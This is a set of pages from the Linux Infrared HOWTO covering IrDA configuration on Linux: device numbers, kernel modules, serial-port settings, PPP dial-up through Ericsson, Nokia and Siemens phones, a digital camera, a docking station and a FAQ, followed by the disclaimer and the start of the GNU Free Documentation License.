The latest version of this document is available at MobiliX-HOWTOs. You may find my Linux-Mobile-Guide (the former Laptop-HOWTO), the Linux-Ecology-HOWTO and the Linux-Medicine-HOWTO there also.

Mathieu Arnold provides an earlier version of the IR-HOWTO in French.

Please feel free to contact me for comments or questions about the HOWTO. I know this material is not finished or perfect, but I hope you find it useful anyway. For other questions and current information about Linux/IrDA please ask in the Linux/IrDA mailing list as explained below.

<Werner Heuser>

Prev | Home | Next
Preface | Up | Status of the Document


Beyond IrDA

Linux Infrared HOWTO
Prev Chapter 5. Advanced Topics Next

5.5. Beyond IrDA

5.5.1. Extending Transmission Distance

According to the IrDA specification the range is up to 1 meter. From the "IrDA Data Link Design Guide" p. 20 by Hewlett-Packard http://www.hp.com/go/ir : " In some cases it may be desired to increase link distance beyond the 1 meter guaranteed by IrDA. The two ways to do this are to increase transmitted light intensity, or to increase receiver sensitivity. In order to extend the link distance, both sensitivity and intensity must be increased for both ends of the IR link. If it is desired to communicate with a standard IrDA device that may have minimum transmitter intensity, the receiver intensity must be increased. The standard IrDA device may also have minimum receiver sensitivity, so transmitter intensity must also be increased."

Andreas Butz wrote: "This might be a silly question, but has anyone an idea whether the whole IrDA stack really relies on a two-way connection, or whether there are some parts of it that could be abused for a one-way connection, ideally for unreliable data? We're trying to modify some IR dongles to broadcast information to palm pilots over several meters distance (cover a whole room), and since we don't want to modify the pilots themselves, and increasing the sensitivity on the receiver side seems unlikely to work, we're stuck with a one way link.". Please see the mailing list archive for details of the discussion.

Sent by Marc Bury " .. just heard about some Philips new scheme for remote controls: they call it IRDA - Control. This is supposed to be bi-directional, 75 kbps data rate, multiple simultaneous devices (up to 8) and with a minimum 6 meter range!" More information at http://www.irda.org/ .

The german magazine ELEKTOR issued a guide to build a Long Distance IrDA Dongle (20m, RS232, IrDA 1.0), ELEKTOR 5/97 p. http://www.elektor.de .

"The main problem is that you generally have to make the receiver more sensitive. Basic physics has the inverse square law: the intensity drops with the SQUARE of the distance, so going from 1 to 5 meters requires 25x the power (and battery drain on a portable device), or 25x the sensitivity (and dynamic range - it still has to be able to work at 3 inches). And if you want to do it on the other end, it doesn't simply have to be 25x more sensitive, it must pick up the tiny IrDA pulse needle in a haystack of florescent lights, screen savers, moving shadows ..."

Someone tried it with a Palm III upgrade board http://home.t-online.de/home/PSPilot/ppppiii.htm .

Also laser diodes (pulsable) were recommended by K-H.Eischer: But they are more expensive. And the laser diodes are also dangerous if they have more than 1 mW. A better solution would be to use lenses to focus the beam. There is a minimum of absorbtion in the air (I don't know the right frequency) and you should use IR diodes with this frequency.

James wrote: " Who ever it was wanting to do long distance with IrDA, we've tried this before. The best approaches are:

  • wavelan - buy the cards but not the antennas you can make your own with equaly good gain as the $9000 type they sell here.

  • microwave - you can pick up X-band doppler radar modules, tune them slightly apart and use the your local TX as the LO for the incomming RX, the whole thing behaves like ethernet and you can hook it onto an AUI port, this may now be illegal.

  • ir - Many people sell kits which transmit video over Ir, they come complete with the large fresnel lense you need, they manage about 4MHz b/w over 100m.

  • laser diodes - when we looked at these they were a pain, I think elantec make decent drivers but modulating them was a big pain, Steve Carcia had a series on articles on modulating He-Ne lasers but be careful they have lots of volts in them that want to get out and kill you.

Whatever you choose IrDA might very well be a good choice for a protocol, given it's one of the few that sensibly copes with simplex."

5.5.2. Upcoming Standards (Bluetooth and IrDA)

"More and more people now think that IrDA and Bluetooth will live happily side by side, and the idea of Bluetooth as the IrDA killer just don't work anymore. IrDA is still unbeatable in price/performance and with the new additions to the standards family like AIR and VFIR, it's really good to see that IrDA is moving in the right direction."

Prev | Home | Next
Power Saving | Up | IrDA Network Neighborhood


Big Endian

Linux Infrared HOWTO
Prev Chapter 4. Hardware Supported by Linux/IrDA Next

4.3. Big Endian

Though the source is build to work with big endian machines, I didn't get any reports about actually using it. It would be interesting if it's actually working or not. You will probably need an IrDA dongle or something to test it.

i386 and alpha are little endian, arm can choose (but the NetWinder has been wired as a little endian machine). m68k, sparc and ppc are big-endian! mips can choose I think. If unsure, look in /usr/src/linux/asm/byteorder.h and check if it includes linux/byteorder/big_endian.h or linux/byteorder/little_endian.h .

Prev | Home | Next
Hardware Surveys | Up | SMP


Cellular Phone Connection

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.9. Cellular Phone Connection

As far as I know some cellular phones use the IrCOMM standard, e.g. Ericsson SH888 and NOKIA 6110 (I'm not sure about the NOKIA 8110). Maybe other cellular phones use the IrOBEX standard (see the Palm III section for information about setting up a connection) or IrMC.

gnokii is a Linux/Unix tool suite and soon to be modem/fax driver for Nokia (GSM) mobile phones. Phones supported include 3110, 3810, 8110, 5110, 6110 and their derivatives.

3.9.1. Motorola Timeport GSM

Michael McConnell has posted an initial version of a guide to get the Motorola Timeport GSM phone and Linux-IrDA talking on his website.

3.9.2. Ericsson

1. Configuration To start a communication session with /dev/ircomm0 , for instance, say:
dip -t
> port ircomm0
> term
Probably you may use cu or xc instead of dip, too cu -l /dev/ircomm0 or xc -l /dev/ircomm0. There are also reports about some efforts with the Ericsson GF768 and IR Modem DI 27.

Benny Amorsen wrote: The SH888 emulates an IRDA-port when you connect it using the serial cable. Why someone would think up something weird like that is beyond me, but that is the way you get it to work in Windows. Not that I ever managed to make it work in Windows, though.

Ales Dryak has send this survey (looks like a Debian/GNU Linux distribution, please modify your configuration accordingly). Mobile Ericsson SH888 ati1 = 980408 1035 PRGCXC125101:

mknod /dev/ircomm0 c 161 0
mknod /dev/ircomm1 c 161 1
2. /etc/conf.modules:
alias tty-ldisc-11 irtty
alias char-major-161 ircomm-tty
3. /etc/irda/drivers: irattach /dev/ttyS0 -s 1 # (IrDA port in SIR mode) 4. /etc/chatscripts/sh888
<ABORT stuff>
"" \d\d\d\d\d\dATZE0
OK ATD<phone number to call)
CONNECT \d\c
5. /etc/ppp/peers/sh888
noauth
connect "/usr/sbin/chat -v -f /etc/chatscripts/sh888"
/dev/ircomm
115200
defaultroute
noipdefault
user <your username> # don't forget to add your password to chap secrets or chat script

A few seconds (app. 30) after executing pppd call sh888 I get connected to our Intranet/Internet having full IP connectivity (telnet, ftp, www, icmp tested). Futhermore I can connect to /dev/ircomm using minicom and play with AT command. Great! And looks stable!

3.9.3. SH888 Phonebook Tool

Gerhard Gonter reported: Several members of the list are successfully using the Ericsson mobile phone SH888 with the Linux-IrDA software, usually to use it as a modem. The software is also quite useful to access other parts of the phone using AT commands. The built-in phonebook is an interesting target.

After A quick research on the Internet (FreshMeat, Deja, YAHOO), I did not find any phonebook tool for Linux (or another Unix). To solve that problem, I wrote a small Perl script and a related module. Since this now works acceptably well for me, I decided to wrap that up and release it at this early stage of development. The tarball can be retrieved from http://falbala.wu-wien.ac.at:8684/pub/english.cgi/0/172903 as http://falbala.wu-wien.ac.at:8684/pub/english.cgi/d172914/sh888-0.01.t ar.gz

In the mailing list gsmlib was also recommended, though ... there was no way for me to use this over infrared, no connection with my sh888. Florian Lohoff reported: Works (kind of) with the S25. I needed to change a ifdef as it seems the S25 does not respond with CR LF ...But setting a link from /dev/mobilephone -> /dev/ircomm lets me send SMS via the S25 without a problem. Phonebook backup does NOT work because the S25 does some silly responses to probably empty phonebooks.

The specifications for SMS messages and phone books can be downloaded free (of charge, not FSF free ;-) from ETSI. Search for GSM 07.07 (you might also want GSM 07.05). You have to register before downloading it. The standards are in Acrobat PDF format. The S25 supported commands are available on the Siemens websites as a PDF for free.

A survey of the AT commands for the SH888 is at http://mobileinternet.ericsson.se/emi_download/sh888/888_R1D.pdf

3.9.4. NOKIA

Carlos Vidal wrote: Correct me if I'm wrong, but it seems to me that Nokia telephones do not contain a genuine hardware modem, but something which is similar in principle to WinModems for PC. Whenever Nokia writes about modem communication, they use the name "Windows software modem" (or something similar). Which is actually backed up by the need to use special Nokia software for Windows (called Nokia Cellular Data Suite).

Joonas Lehtinen wrote: This is true with 61xx models. Models: 8810, 9000(i) and 9110 should work fine. (They have inbuilt modem). My Nokia 9000 reports IrCOMM with linux.

Some suggestion by Carlos Vidal carlos@tarkus.se : "I'm doing some tests trying to see how far can I get with my Nokia 6110 on Linux. I've just compiled gnokii-0.2.4 (gnokii is Nokia mobile phones connected via serial cable support for Linux and *BSD http://multivac.fatburen.org/gnokii/ , WH), but it doesn't work. As I have Nokia Data Suite I did the following connection:

Nokia 6110 <-- Nokia Cable --> PC/Linux <-- Null-modem cable --> PC/W95

In the PC/Linux I run the program snooper (by Jun-ichiro itojun Itoh , sorry couldn't find an URL maybe some other sniffer will do it also, e.g. sniffit, see also appendix about serial sniffers, WH) with small modifications in order to configure the serial port correctly.

Normally, if snooper has the correct baud rate, the phone and the PC/W95 should communicate as if there was no snooper in between. This worked pretty well when I cracked the protocol of my Minolta camera. The problem here is that the phone doesn't answer or hangs after a while.

It seems that the timing is quite important during the initial phase of the communication. The log I obtain is:

0>1: UUUUUUUUUUUUUUUUUUUUUUUU
line 0: LE *DTR *RTS ST SR CTS CD RI *DSR
line 1: LE *DTR *RTS ST SR CTS CD RI *DSR
0>1: UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUU\x1e\x00\x0c\x02\x00\x09\x00\x01\x00\x0d\x00\x00\x02\x01@\x00P\x
06
1>0: \x18\x00\x00\x00\xfc\x18\x00\x00\x00\x00\x00\x00\xc0\xf0
0>1: \x1e\x00\x0c\x02\x00\x09\x00\x01\x00\x0d\x00\x00\x02\x01@\x00P\x06
1>0: \x18\x00\x00\x00\x18\x00\x00\xc0\xf0\x18\x00\x00\x00\x00\x00\x00\xc0\xf0
0>1: \x1e\x00\x0cd\x00\x06\x00\x01\x00\x10\x01`\x13\x13
1>0: \x18\x00\x00\xf0\x00\x00\xfc
0>1: \x1e\x00\x0cd\x00\x06\x00\x01\x00\x10\x01`\x13\x13
0 is the PC/95 and 1 is the phone. The communication starts with a stream of 'U' (0x55) and with DSR/DTR on. The phone answers with '0x18 0x00 ...'. This dialog continues for a while as if both were deaf and finally the phone crashes and the only way to reset it is to remove the batteries!

I guess that what happens is that the phone is trying to find the correct baud-rate and fails because of the delays introduced by snooper. This probably has to do with some IrDA protocol used with also with the infrared connection."

Wessel de Roode "I managed to get the Discovery IR hint bits (with my Palm Pilot):

Discover:
0:xxxxxxxx:81.01
    01  IR_HINT_PNP     01  IR_HINT_TELEPHONY (IrMC ?)
    80  IR_HINT_EXT

Device info query:
\006Device\012DeviceName
    4e 6f 6b 69 61 20 36 31 30 30       Nokia 6100
I also managed to query the PNP device of the Nokia. It has one PNP device. It's PNPC100 which equalt a 9600 baud modem. I deleted the query, if somene can send me a hint to restore it. was somthing like IrDA:<dunno>:PNP:Comp#01 The same query with IrDA:<dunno>:PNP:CompCnt gives the number of PNP-devices are available in the Nokia. Which is here only one."

Maybe it is necessary to load the irlpt_server module for connections to a NOKIA.

There are also reports about gsmlib for sending and receiving sms messages, updating address books etc). These functions are working, except for minor charset problems.

3.9.5. Siemens S25

Configuration By Florian Lohoff: "Do it step by step - Get your irda working irattach /dev/ttySx etc. Then have a look at the /proc/net/irda/discovery whether you find something like this:

(flo@paradigm)~# cat /proc/net/irda/discovery
IrLMP: Discovery log:
nickname: SIEMENS S25, hint: 0x9024, saddr: 0x4286ce23, daddr: 0x04295741
Now load ircomm and ircomm-tty and normally(tm) you should be able to connect to the correct /dev/ircomm and you can easily dial and load/backup the phonebook etc ...", e.g. with minicom.

Timo Felbinger describes the connection between a Toshiba and a Siemens S25:

  • kernel 2.2.12 and patch-2.2.12-irda3, IrDA support in the kernel, ircomm and ircomm-tty as a module

  • mknod /dev/ircomm0 c 161 0

  • modprobe ircomm, modprobe ircomm-tty

  • start irattach with modprobe toshoboe in the start section of /etc/irda/drivers . Note: don't load toshoboe before the irattach, this may cause device or resource busy

  • after dip -t and the command port ircomm0 the S25 shows a connection. Note: the IR port of the S25 has to be activated of course, the distance between the two devices seems not critical.

  • After term the S25 behaves like the usual Hayes modem and can be used with the AT commands.

  • dial-out with pppd works out of the box.

3.9.6. German e-plus

A note to German e-plus users:

Every e-plus contract (except Free&Easy) contains a PPP conncetion to the WWW (no separate registration necessary). This service is available around Germany under the phone number 123100. This worked also out of the box.

pppd configuration:

/dev/ircomm0
defaultroute
netmask 255.255.255.0
debug
mtu 552
crtscts
noauth
connect '/usr/sbin/chat -v -f /etc/ppp/eplus.chat'
chat script /etc/ppp/eplus.chat:

ABORT "BUSY"
ABORT "ERROR"
ABORT "NO CARRIER"
ABORT "NO DIALTONE"
ABORT "NO ANSWER"
SAY "initializing modem..."
"" "AT"
"OK" "ATZ"
SAY "dialing..."
"OK" "ATDT123100"
SAY "waiting for CONNECT..."
"CONNECT" ""
SAY "connected!"
SAY ""
For the nameserver you may use 192.76.144.66 . Username or password are not necessary.

Prev | Home | Next
Connecting from Linux to WinCE | Up | Digital Camera Connection


Code History

Linux Infrared HOWTO
Prev Chapter 1. About the Linux/IrDA Project Next

1.2. Code History

The Linux/IrDA project has undertaken some changes in the program code, which you should know to understand some possible confusions.

For 2.0.x kernels Linux/IrDA support worked in a totally other way (only user-land programms) and is no longer supported by the Linux/IrDA project. Since 2.1.131 and 2.2.0 it is part of the kernel.

Some caveats are sometimes caused by changes of the following parameters. I hope I have got them alright now, they confused me sometimes, too. The new style stuff works from 2.2.15 / 2.4.0.

  • the major device number of the irda device changed from 61 to 161 (as far as I remember there was also a major number 60 around, too), see the list of current device numbers below

  • the irmanager is obsolete now, its tasks are now achieved by irattach

  • the device name /dev/ircomm_tty changed to /dev/ircomm-tty

  • the device names /dev/irnine and /dev/ircomm_new are obsolet

Prev | Home | Next
Project History | Up | Getting Started


Configuration

Linux Infrared HOWTO
Prev Chapter 2. Getting Started Next

2.4. Configuration

2.4.1. Device Numbers

mknod /dev/ircomm0 c 161 0
mknod /dev/ircomm1 c 161 1
mknod /dev/irlpt0 c 161 16
mknod /dev/irlpt1 c 161 17
mknod /dev/irnet c 10 187
chmod 666 /dev/ir*
There might be some other device number necessary if you want to use the irkbd features. You may find the latest device numbers in ../src/linux/Documentation/devices.txt.

2.4.2. Device Arrangement

First you should put your IrDA devices in range. Though it might be possible that the Linux/IrDA service detects every new device automagically I only have good experience with the devices in range during the configuration process.

Keep your infrared devices together in a range below one meter and an angle of 30 degree. There has to be a direct line of sight between them. If this is not possible, you may use a mirror (an unused M$ CD should work quite good).

2.4.3. /etc/modules.conf

Add the following lines to your /etc/conf.modules file:
# IrDA over a normal serial port, or a serial port compatible IrDA port
alias tty-ldisc-11 irtty
# IrCOMM (for printing, PPP, Minicom etc)
alias char-major-161 ircomm-tty     # if you want IrCOMM support
# IRLAN
alias irlan0 irlan
# To be able to attach some serial dongles
# These values are hard-coded in irattach (not instance order)
alias irda-dongle-0 tekram          # Tekram IrMate IR-210B
alias irda-dongle-1 esi             # ESI JetEye
alias irda-dongle-2 actisys         # Actisys IR-220L
alias irda-dongle-3 actisys         # Actisys IR-220L+
alias irda-dongle-4 girbil          # Greenwich GIrBIL
alias irda-dongle-5 litelink        # Parallax LiteLink
alias irda-dongle-6 airport         # Adaptec Airport 1000 and 2000
# To use the FIR driver. This applies only to the specific device!!!
#options nsc-ircc dongle_id=0x09	# NSC driver on a IBM Thinkpad laptop
#options nsc-ircc dongle_id=0x08	# HP Omnibook 6000
#alias irda0 nsc-ircc
#alias irda0 smc-ircc
# IrNET module...
alias char-major-10-187 irnet       # Official allocation of IrNET
Then do a depmod -a to update, and then all IrDA modules should be automagically loaded when you need them. Note for testing reasons you may load them manually, but please make sure not to load them twice. There might be some other entries necessary, if you want to use the irkbd features or an USB dongle. A template file is included into the irda-utils package.

2.4.4. /etc/irda

Have a look into the files in /etc/irda. Edit them to reflect your setup.

2.4.5. BIOS Configuration

Make sure your infrared port is enabled in the BIOS and check what interrupt and port address it uses. With some laptops it seems necessary to have Window$x installed to be able to set BIOS parameters.

I have got reports, that connected to a docking station the infrared port was disabled.

2.4.6. Serial Port (setserial)

To avoid some conflicts with serial devices you should do setserial /dev/ttyS1 uart none. Choose the ttySx according to your SIR port. Hint: dmesg | grep tty.

From Florian Lohoff You should also set "port 0x0 irq 0" otherwise you will see interesting effects if there is suddenly a different S1 e.g. by inserting a modem PCMCIA card. The serial driver will then touch the OLD ports without having acquired those which will cause the irda stuff to die/hang. This is a bug i havent been able to find in the serial driver but it definitly exists (Put a printk into the serial_out serial_in stuff).

2.4.7. Starting IrDA

Most important, you must sync your disks!!! Maybe you have to reboot your machine. Have you read the disclaimer?

There are three sorts of low level drivers: SIR, dongle and FIR. To start with Linux/IrDA I recommend to use the SIR method.

Load the modules modprobe irda irtty. irattach /dev/ttyS1 -s 1 to attach the IrDA device to the IrDA services. Check lsmod and dmesg.

irdadump should show all available IrDA devices in range now. Hint: If you are connecting different Linux boxes, you may use hostname YOUR_HOSTNAME to set a unique hostname for each computer.

On the "server" side do pppd /dev/ircomm0 LOCAL_IP:REMOTE_IP On the "client" side do pppd /dev/ircomm0 .

You may now test the connection with ping. And use all sorts of networking connections (ssh, NFS, ...) now.

Prev | Home | Next
Kernel Module Options | Up | Specific Connections and IrDA - Protocols


Copyrights

Linux Infrared HOWTO
Prev Appendix E. Copyrights, Disclaimer, Trademarks Next

E.2. Copyrights

For all chapters permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being "Preface" and "Credits", with the Front-Cover Texts being "Linux Infrared HOWTO", and with the Back-Cover Texts being the section "About the Document and the Author". A copy of the license is included in the section entitled "GNU Free Documentation License".

Prev | Home | Next
Disclaimer and Trademarks | Up | GNU Free Documentation License - GFDL


Digital Camera Connection

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.10. Digital Camera Connection

Markus Schill wrote: "Great that there are also other people who are interested in using the SONY DSC-F1 IR adapter under linux. Up to now I have only toyed around with the linux-irda software and the serial IR adapter from PuMa Technologies that came with the camera. This is the status. I am using linux 2.0.33 and the latest linux-irda... If I use:
modprobe irda
modprobe irtty
irattach /dev/ircomm0
the adapter starts talking to the camera. /var/log/messages says that SONY-DSC-F1 was found, but no service is started. (Please note, this probably doesn't apply to the 2.2.x kernel versions of Linux/IrDA, [WH]).

There are two programs for linux available that can be used for the communication with the camera via cable: (1) chotplay and (2) stillgrab. They both take a tty as commandline option, so I guess that they should work if the irtty layer of the protocol stack works correctly ... I have not looked at anything in the linux-irda code, yet!). I am not sure whether I understand the stack but shouldn't the irtty make the thing look like a normal tty? What service should be started. "

Dag Brattli wrote: "I'm not sure which application level protocol the camera uses, but it is possible that it implements the IrDA(TM) Infrared Transfer Picture Specification (IrTran-P). If you take a look at http://www.irda.org/standards/pubs/IrTran-P_10.pdf, you will see that it is a protocol which is implemented above IrCOMM (not IrTTY!). IrTTY is something we use just to be able to talk to the Linux serial driver. "

The Kodak-Digital-Camera-HOWTO by David Burley now describes how to get IrDA working and implemented to get communications and to use the DigitalOS camera's with Linux and IrDA.

Prev | Home | Next
Cellular Phone Connection | Up | Window$9x/NT and Linux/IrDA


Disclaimer and Trademarks

Linux Infrared HOWTO
Prev Appendix E. Copyrights, Disclaimer, Trademarks Next

E.1. Disclaimer and Trademarks

This is free documentation. It is distributed in the hope that it will be useful, but without any warranty. The information in this document is correct to the best of my knowledge, but there's a always a chance I've made some mistakes, so don't follow everything too blindly, especially if it seems wrong. Nothing here should have a detrimental effect on your computer, but just in case I take no responsibility for any damages incurred from the use of the information contained herein.

Though I hope trademarks will be superfluous sometimes (you may see what I mean at Open Source Definition ), I declare: If certain words are trademarks, the context should make it clear to whom they belong. For example "MS Windows NT" implies that "Windows NT" belongs to Microsoft (MS). "Mac" is a trademark by Apple Computer. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and I was aware of a trademark claim, the designations have been printed in caps or initial caps. All trademarks belong to their respective owners.

Prev | Home | Next
Copyrights, Disclaimer, Trademarks | Up | Copyrights


Connection to Docking Station

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.14. Connection to Docking Station

Dag Brattli: "Connection to the Tekram IRDocking IR-660 http://www.tekram.com/Hot_Products.asp?Product=IR-660 . This device is a docking station with LAN access, printer, mouse and keyboard. You can also use them at the same time as the internal mouse and keyboard! Just fire up gpm -t ps2 /dev/irkbd and the laptop will make a keyboard/mouse connection to the IR-660. Now I just have to make gpm read both /dev/psaux and /dev/irkbd, and then make X11 read /dev/gpmdata, and I should have the thing configured!

... one problem: gpm can handle multiple mice, but Linux cannot handle multiple different keyboards. So if you have one norwegian keyboard and one remote US keyboard like I have, then things will be a little bit confusing. I got a hint from Alan Cox about a project that is implementing real support for multiple keyboards, so I'll check that out.

... OK, I sort of worked it out. By using TIOCSTI on /dev/console, you can insert scancodes directly into the tty queue. This can be a problem for virtual consoles that expect to receive some translated and cooked keycodes, but X happens to like raw scancodes, so this will work quite nice when using X but not for other virtual consoles. Anyway this is good enough for me, so I will not use a lot of time converting the scancodes to keycodes and index them with some keymap just to make it work with text only virtual consoles. As I see it the irkbd driver has now been successfully been ported to user-space :-)

... the Tekram IR-660 device can, in addition to attach a keyboard and mouse, also print using IrTTP (it can print using IrLPT, but that is not so funny since it requires exclusive use of IrLMP, and you don't wan't to stop the network, mouse and keyboard just to print a document). I'll try and see if I can get IrTTP printing working using a fifo as well.

... Tekram has added a control channel in addition to the data channel so that you can get some status information about what is going on. The name of their own protocol is P1248. It's published through the "P1248" class and "IrDA:TinyTP:LsapSel" LM-IAS entry, so you can try to find it.

... Canon is using the P1248 protocol, and their printer monitor program BrintBuddy2 (Japanese version) is using this protocol now. I don't know what they use for the data channel. Maybe they support TinyTP directly in addition to the other methods. You can try and look up the "IrLPT" class with the "IrDA:TinyTP:LsapSel" in the LM-IAS and see if you can find it."

Prev | Home | Next
Multiple Instances | Up | Connection to Keyboard


FAQ

Linux Infrared HOWTO
Prev Chapter 5. Advanced Topics Next

5.11. FAQ

  • irport versus irtty: I never used irport because irtty works for me, but it should not matter which low level driver you use. I used successfully irtty, nsc-ircc and irda-usb (depending on my hardware).

  • Q1 - Question: I do not know anything about ports and irqs. What should I do?

  • Answer: PART A: Hardware settings - 1 Have a look at your hardware specs!!! If not available look at the support page of your vendor, or contact the support hotline. You might also find the information in one of the hardware surveys mentioned above. - 2 Use a current BIOS. Usually available at the support page of your vendor. - 3 Try setserial /dev/ttyS? -g -a | egrep 16550A. One of the shown devices is probably the one you are looking for. Usually it is the second one, but with no guarantee. - 4 Note: What seems like an UART is physically the IrDA controller. For my HP Omnibook 800 this is the VLSI VL82C147 PCI - IrDA controller. These controllers should behave up to 115 200 bps like UART's. But sometimes it is very difficult to get the right configuration. PART B: How to tell the kernel about the hardware settings -4 cat /proc/ioports to see which ports are already in use. -5 cat /proc/interrupts to see which interrupts are already in use. -6 Make ports and interrupts available for use with the IR device, e.g. stop the PCMCIA service or include a line like this in /etc/sysconfig/pcmcia: PCIC_OPTS="irq_list=3,4,5,7,9,10,12,14,15" -7 Now try to guess what the right interrupt and port is. Use setserial /dev/ttySx irq M port 0xNNNN to tell the kernel. If there is more then one possible chance try them all (Note: As mentioned in the Serial-HOWTO you should not try irq 0, 1, 6, 8, 13, 14). -8 If you were successful please send these parameters to the author, because I would like to include them in the Infrared Hardware Survey. -9 Good luck. It might also be necessary to fine tune the IR serial port with setserial, e.g., setserial /dev/ttyS0 spd_vhi (speed rate 115200).

  • Q3 - Question: I get a message like tcsetattr read/write error in /var/log/messages.

  • Answer: Caused probably by wrong /dev/ttyS* or wrong irq or port.

  • Q4 - Question: Every setting seems alright, because I get the appropriate messages. But it still does not work.

  • Answer: Move the devices to within 0.5 meter (1.5 feet). Check that only one application is using the infrared port. Check that both devices are using the same protocol, such as IrOBEX or IrCOMM.

  • Q7 - Question by Ho Chin Keong: Is there other way of setting up communication between the 2 laptops besides setting up a LAN route between the two?

  • Answer by Dag Brattli: Yes and no! One of the IrDA standard, IrCOMM permits you to emulate a serial cable between two laptops, so you can use any application written for serial ports (terminals, PPP, slip, etc.). This is however not yet implemented in Linux/IrDA. The IrLPT (printer) support is actually a subset of IrCOMM, so some of it is working!

  • Q8 - Question by Ho Chin Keong: If I block the infrared path deliberately for more than 10 seconds, the connection could not re-establish. I have to kill the irattach and restart the whole procedure to start the infrared route. The connection could be maintained, however, if the blocking is less than 10 seconds. Is this part of the design or a bug? Is there any way whereby we can lengthen this time limit from 10 s to longer or infinitely?

  • Answer by Thomas Davis: This seems to be a bug in the primary side of the IrLAP/IrLMP code. It appears not to send the reset/disconnect notice all the way back up the stack. You'll notice it when IrLPT gets stuck in the query mode while you were trying to talk to a printer, and disconnected/interrupted it when it was handshaking. (and now, it shows up in the IrLAN portion)

  • Q11 - Is there any IrDA support for BSD?

  • Answer: Linux/IrDA seems to be the only available GPL source yet.

  • Q12 - By Rui Oliveira: I am having a problem connecting a PalmIII to a Linux box with an Actisys 220L adapter. With a motherboard adapter (no brand but, I think, similar to the Actisys 210L) I simply redirect a pilot syncronization tool (pilot-xfer) to /dev/ttyS1 which has the ir adapter attached and, using IrLink in SIR mode, I can get the Linux box to talk with the PalmIII. Trying the above through a serial port with a serial-irda Actisys 220L adapter I can't get this to work. My question is :What happens if one just throws data into a serial port with a irda adapter?

  • Answer by Lichen Wang: In terms of hardware, IrDA SIR needs a serializer- deserializer, an encoder-decoder, and a transceiver. The UART that drives the COM port of any PC is a serializer-deserializer. In some PC, there is also an encoder-decoder which can be enabled or disabled by the BIOS. When it is disabled, the COM port is usable as an old COM port. When the encoder-decoder is enabled, usually the COM port is no longer usable but an IrDA port is now usable instead. Actisys IR-210 is a SIR transceiver and thus can be used if the PC has this kind of UART with an IrDA encoder-decoder and the BIOS has enabled it. Under this hardware configuration, you need to tell the Windows setup program that you have "standard infrared devices" and with "Built-in Infrared port on laptop or desktop". Actisys IR-220, on the other hand, includes both the encoder-decoder and the transceiver. It is designed to be used with a regular UART. If the UART in the PC has also the encoder-decoder built-in, you must use BIOS to disable that. Under either of this hardware configuration, you need to tell the Windows setup program that you have an "ACTiSYS" manufactured "ACT-IR220L Infrared Wireless Interface". To answer your question: In addition to throwing data at the serial port, you need to tell the UART and the encoder-decoder what data rate to use. In the case of a built-in encoder-decoder, when you set the data rate of the UART, the encoder-decode also get set correctly. In the case a separate encoder-decoder, you need to tell both of them the data rate separatly.

  • Q13 - If I try to make a connection, say telnet, it takes an incredibly long time for the login prompt to appear.

  • Answers by Renaud Baldura, Dag Brattli and Hee Thong: ... it's a DNS problem. The resolver times out trying to reverse-resolve the IP address of your incoming connection. I think just renaming /etc/resolv.conf to something else takes care of it. ... or add some static bindings in /etc/hosts for the machines you want to access in your ad-hoc network. That should avoid the DNS lookups. ... If both machines are in a private test environment, put the following line in the /etc/host.conf, order hosts, bind. This will make the machine check the /etc/host file before doing a DNS lookup. Remember to update the host file on both machines to reflect the IP and host names of the 2 machines.

  • Q14 - Question by David LaPorte: I was wondering if anyone has had any success getting the irda port on the Toshiba Tecra 740cdt working. ... I've read that it should show up at IRQ 11, ttyS2. Well, I have a PCMCIA modem which steals ttyS2 and the PCMCIA controller steals IRQ 11. Does anyone have any suggestions?

  • Answer by Dag Brattli: If you still have Win95 on your machine, you should go to the device manager and change the PnP setup for the IrDA port (something else than the stuff your're already using). You could for example move away ttyS1 (in Win95), so that it uses the values that the PCMCIA card is going to steal, and then use the settings from ttyS1 for ttyS2.
    dagbnb ~/linux/test/ > cat /etc/sysconfig/pcmcia
PCMCIA=yes
PCIC=i82365
PCIC_OPTS="irq_list=7,9,10"
CORE_OPTS=
    ... should make sure the PCMCIA controller stays away from irq 11. Also make sure that the IrDA port is enabled in Win95 since it's disabled by default.

Prev | Home | Next
Known Bugs | Up | Infrared Remote Control


GNU Free Documentation License - GFDL

Linux Infrared HOWTO
Prev Appendix E. Copyrights, Disclaimer, Trademarks

E.3. GNU Free Documentation License - GFDL

Version 1.1, March 2000

Copyright (C) 2000 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

E.3.1. 0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

E.3.2. 1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

